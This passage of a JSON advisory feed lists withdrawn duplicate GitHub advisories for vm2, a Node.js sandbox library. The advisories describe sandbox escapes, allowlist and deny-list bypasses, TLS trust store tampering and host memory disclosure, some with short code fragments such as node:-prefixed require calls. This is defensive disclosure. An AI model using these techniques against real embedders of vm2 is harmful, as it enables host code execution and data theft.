0hTQS1nZzZmLW1ocW0tZjdncM4AB5Mf","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzZmLW1ocW0tZjdncM4AB5Mf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NTM4LTc5ajItaDYyaM4AB5NZ","url":"https://github.com/advisories/GHSA-9538-79j2-h62h","title":"Duplicate Advisory: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f8gf-w286-fmq2. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-05T22:47:22.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://nvd.nist.gov/vuln/detail/CVE-2026-92959","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable","https://github.com/advisories/GHSA-9538-79j2-h62h"],"source_kind":"github","identifiers":["GHSA-9538-79j2-h62h"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-12T08:00:38.739Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTM4LTc5ajItaDYyaM4AB5NZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NTM4LTc5ajItaDYyaM4AB5NZ","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NTM4LTc5ajItaDYyaM4AB5NZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01djd3LTk1ZzUtcGo2cc4AB5M7","url":"https://github.com/advisories/GHSA-5v7w-95g5-pj6q","title":"Duplicate Advisory: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3vgf-8m4q-q4qr. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions from 3.11.0 before 3.11.8 fail to protect host TypedArray and ArrayBuffer prototypes from sandbox mutation. Attackers can use prototype-walking primitives to reach and modify host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype, causing host-created typed arrays to observe attacker-controlled properties after VM.run() returns.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-05T22:45:04.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-3vgf-8m4q-q4qr","https://nvd.nist.gov/vuln/detail/CVE-2026-92953","https://www.vulncheck.com/advisories/vm2-3.11.0-through-3.11.7-prototype-pollution-via-typedarray","https://github.com/advisories/GHSA-5v7w-95g5-pj6q"],"source_kind":"github","identifiers":["GHSA-5v7w-95g5-pj6q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.743Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01djd3LTk1ZzUtcGo2cc4AB5M7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01djd3LTk1ZzUtcGo2cc4AB5M7","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.0, \u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01djd3LTk1ZzUtcGo2cc4AB5M7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yOHE0LXhycWgtOTQ3Oc4AB5NU","url":"https://github.com/advisories/GHSA-28q4-xrqh-9479","title":"Duplicate Advisory: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8686-vhfx-7r3j. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7. (Suggested title: \"vm2 before 3.11.7: NodeVM builtin deny-list bypass via node:-prefixed specifiers exposes child_process\")","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:35:49.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j","https://nvd.nist.gov/vuln/detail/CVE-2026-92957","https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix","https://github.com/advisories/GHSA-28q4-xrqh-9479"],"source_kind":"github","identifiers":["GHSA-28q4-xrqh-9479"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.514Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOHE0LXhycWgtOTQ3Oc4AB5NU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yOHE0LXhycWgtOTQ3Oc4AB5NU","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOHE0LXhycWgtOTQ3Oc4AB5NU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oYzZxLTR2dmctamY3Oc4AB5N6","url":"https://github.com/advisories/GHSA-hc6q-4vvg-jf79","title":"Duplicate Advisory: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:38:40.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://nvd.nist.gov/vuln/detail/CVE-2026-92950","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require","https://github.com/advisories/GHSA-hc6q-4vvg-jf79"],"source_kind":"github","identifiers":["GHSA-hc6q-4vvg-jf79"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.509Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oYzZxLTR2dmctamY3Oc4AB5N6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oYzZxLTR2dmctamY3Oc4AB5N6","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oYzZxLTR2dmctamY3Oc4AB5N6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02ZnZoLWZnbWctM3g3ds4AB5NO","url":"https://github.com/advisories/GHSA-6fvh-fgmg-3x7v","title":"Duplicate Advisory: vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-c48m-32m9-vx93. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains an incorrect authorization vulnerability in the external package allowlist check that uses non-exact substring matching instead of full package-name boundary validation. Attackers can bypass the allowlist by requiring a colliding package name that contains an allowlisted package substring, causing vm2 to load and execute unauthorized host packages in the host context.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:37:00.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93","https://nvd.nist.gov/vuln/detail/CVE-2026-92951","https://www.vulncheck.com/advisories/vm2-before-3.11.7-module-allowlist-bypass-via-custom-resolver","https://github.com/advisories/GHSA-6fvh-fgmg-3x7v"],"source_kind":"github","identifiers":["GHSA-6fvh-fgmg-3x7v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.512Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZnZoLWZnbWctM3g3ds4AB5NO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ZnZoLWZnbWctM3g3ds4AB5NO","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZnZoLWZnbWctM3g3ds4AB5NO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ZjNnLTM0eDgtOTJqY84AB5Nk","url":"https://github.com/advisories/GHSA-9f3g-34x8-92jc","title":"Duplicate Advisory: vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-17T15:32:16.000Z","withdrawn_at":"2026-10-01T15:35:12.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-633r-hq9m-c4ff","https://nvd.nist.gov/vuln/detail/CVE-2026-92949","https://www.vulncheck.com/advisories/vm2-3.9.6-before-3.11.7-sandbox-bypass-via-accessor-descriptor","https://github.com/advisories/GHSA-9f3g-34x8-92jc"],"source_kind":"github","identifiers":["GHSA-9f3g-34x8-92jc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.515Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZjNnLTM0eDgtOTJqY84AB5Nk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ZjNnLTM0eDgtOTJqY84AB5Nk","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.9.6, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ZjNnLTM0eDgtOTJqY84AB5Nk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yOXg2LTlxaDUtODNnZ84AB5M2","url":"https://github.com/advisories/GHSA-29x6-9qh5-83gg","title":"Duplicate Advisory: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-j3hm-6rg5-mchv. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:15.000Z","withdrawn_at":"2026-10-05T22:34:43.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv","https://nvd.nist.gov/vuln/detail/CVE-2026-92946","https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external","https://github.com/advisories/GHSA-29x6-9qh5-83gg"],"source_kind":"github","identifiers":["GHSA-29x6-9qh5-83gg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.749Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOXg2LTlxaDUtODNnZ84AB5M2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yOXg2LTlxaDUtODNnZ84AB5M2","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOXg2LTlxaDUtODNnZ84AB5M2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cTc0LWM3angtOHc1as4AB5NS","url":"https://github.com/advisories/GHSA-xq74-c7jx-8w5j","title":"Duplicate Advisory: vm2 NodeVM can replace the host process TLS trust store","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-98xx-8mx4-x7cm. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions from 3.11.3 before 3.11.7 expose the host tls module to NodeVM sandbox code, allowing attackers to call tls.setDefaultCACertificates() and replace process-wide certificate authorities. Attackers with access to allowed tls and url builtins can use URLSearchParams to create host-realm arrays and manipulate the TLS trust store, enabling subsequent host HTTPS clients to accept attacker-controlled certificates.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:15.000Z","withdrawn_at":"2026-10-01T15:27:12.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-98xx-8mx4-x7cm","https://nvd.nist.gov/vuln/detail/CVE-2026-92941","https://www.vulncheck.com/advisories/vm2-3.11.3-before-3.11.7-tls-trust-store-manipulation","https://github.com/advisories/GHSA-xq74-c7jx-8w5j"],"source_kind":"github","identifiers":["GHSA-xq74-c7jx-8w5j"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.500Z","updated_at":"2026-10-12T08:00:42.522Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cTc0LWM3angtOHc1as4AB5NS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cTc0LWM3angtOHc1as4AB5NS","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cTc0LWM3angtOHc1as4AB5NS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bXZ2LW1jYzMteHdoaM4AB5Mo","url":"https://github.com/advisories/GHSA-8mvv-mcc3-xwhh","title":"Duplicate Advisory: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7q3f-wx44-378m. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a module allowlist bypass vulnerability in isPathAllowedForModule that uses raw string prefix matching instead of boundary-anchored comparison. Attackers can reach non-allowlisted packages sharing a prefix with allowlisted modules by performing relative requires from allowlisted packages when transitive loading is disabled.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-09-17T15:32:15.000Z","withdrawn_at":"2026-10-01T15:26:09.000Z","classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m","https://nvd.nist.gov/vuln/detail/CVE-2026-92945","https://www.vulncheck.com/advisories/vm2-before-3.11.7-module-allowlist-bypass-via-prefix-matching","https://github.com/advisories/GHSA-8mvv-mcc3-xwhh"],"source_kind":"github","identifiers":["GHSA-8mvv-mcc3-xwhh"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.500Z","updated_at":"2026-10-12T08:00:42.523Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXZ2LW1jYzMteHdoaM4AB5Mo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bXZ2LW1jYzMteHdoaM4AB5Mo","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bXZ2LW1jYzMteHdoaM4AB5Mo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NXFnLThwcTYtMzloNs4AB5My","url":"https://github.com/advisories/GHSA-x5qg-8pq6-39h6","title":"Duplicate Advisory: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-fcqc-726x-5wfc This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 exposes Node's shared Buffer pool to sandboxed code, allowing disclosure of host memory used by Buffer.from, Buffer.concat, and related allocations. Sandboxed code can read and write to host-realm buffers by acquiring ArrayBuffers from small allocations, leading to sensitive data exposure and potential denial-of-service.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:15.000Z","withdrawn_at":"2026-10-05T22:34:30.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc","https://nvd.nist.gov/vuln/detail/CVE-2026-92947","https://www.vulncheck.com/advisories/vm2-before-3.11.7-memory-disclosure-via-buffer-pool","https://github.com/advisories/GHSA-x5qg-8pq6-39h6"],"source_kind":"github","identifiers":["GHSA-x5qg-8pq6-39h6"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.750Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NXFnLThwcTYtMzloNs4AB5My","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NXFnLThwcTYtMzloNs4AB5My","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NXFnLThwcTYtMzloNs4AB5My/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cWczLXI5N3EtNzN4bc4AB5NW","url":"https://github.com/advisories/GHSA-wqg3-r97q-73xm","title":"Duplicate Advisory: NodeVM builtin allowlist bypass via node:test.run() execArgv allows sandbox escape","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-qhwx-74w5-xhxq. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions \u003e= 3.9.6 and \u003c= 3.11.6 are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the node:test builtin (e.g. require: { builtin: ['node:test'] }). On Node.js 24+, module.builtinModules exposes the scheme-only key node:test, which is not covered by vm2's family-based DANGEROUS_BUILTINS protection, so it is stored in the generic host-passthrough loader. Because requireImpl() in lib/setup-node-sandbox.js strips a single 'node:' prefix before the builtin lookup, sandbox code calling require('node:node:test') resolves to the stored node:test key and receives a readonly proxy to the host module. Calls to node:test.run() are forwarded to the host implementation, which spawns a separate Node process for process-isolated test execution and passes through attacker-controlled execArgv values; supplying --eval=\u003cJavaScript\u003e therefore executes arbitrary JavaScript in an unrestricted host Node process outside the NodeVM sandbox. Fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:15.000Z","withdrawn_at":"2026-10-01T15:41:04.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-qhwx-74w5-xhxq","https://nvd.nist.gov/vuln/detail/CVE-2026-92948","https://www.vulncheck.com/advisories/vm2-3.9.6-through-3.11.5-sandbox-escape-via-node-test","https://github.com/advisories/GHSA-wqg3-r97q-73xm"],"source_kind":"github","identifiers":["GHSA-wqg3-r97q-73xm"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.508Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cWczLXI5N3EtNzN4bc4AB5NW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cWczLXI5N3EtNzN4bc4AB5NW","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.9.6, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cWczLXI5N3EtNzN4bc4AB5NW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02M20yLXFxY2gtanh2Ms4AB5NY","url":"https://github.com/advisories/GHSA-63m2-qqch-jxv2","title":"Duplicate Advisory: vm2 leaks absolute host filesystem paths to sandbox code via error stack formatting","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x6m4-chr9-cg97. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.11.0 through 3.11.6 leak absolute host filesystem paths to sandboxed code through error stack formatting. Attacker-supplied code can force the host-realm source transformer to throw a SyntaxError (for example by calling eval with malformed source) and then read the error's .stack property; the bridge forwards the .stack read to the host-realm formatter, bypassing the sandbox-side host-path redaction introduced for GHSA-v27g-jcqj-v8rw. The returned stack string discloses absolute paths from vm2, Node.js internals, and the embedding application's own source tree, along with host function names. Default new VM() and new NodeVM() configurations are affected without any special options, and the issue persists when string eval is disabled because the host-side transformer throws before eval is handled. The impact is information disclosure only; no code execution results. Fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-05T22:35:16.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-x6m4-chr9-cg97","https://nvd.nist.gov/vuln/detail/CVE-2026-92936","https://www.vulncheck.com/advisories/vm2-3.11.0-before-3.11.7-information-disclosure-via-error-stack","https://github.com/advisories/GHSA-63m2-qqch-jxv2"],"source_kind":"github","identifiers":["GHSA-63m2-qqch-jxv2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.747Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M20yLXFxY2gtanh2Ms4A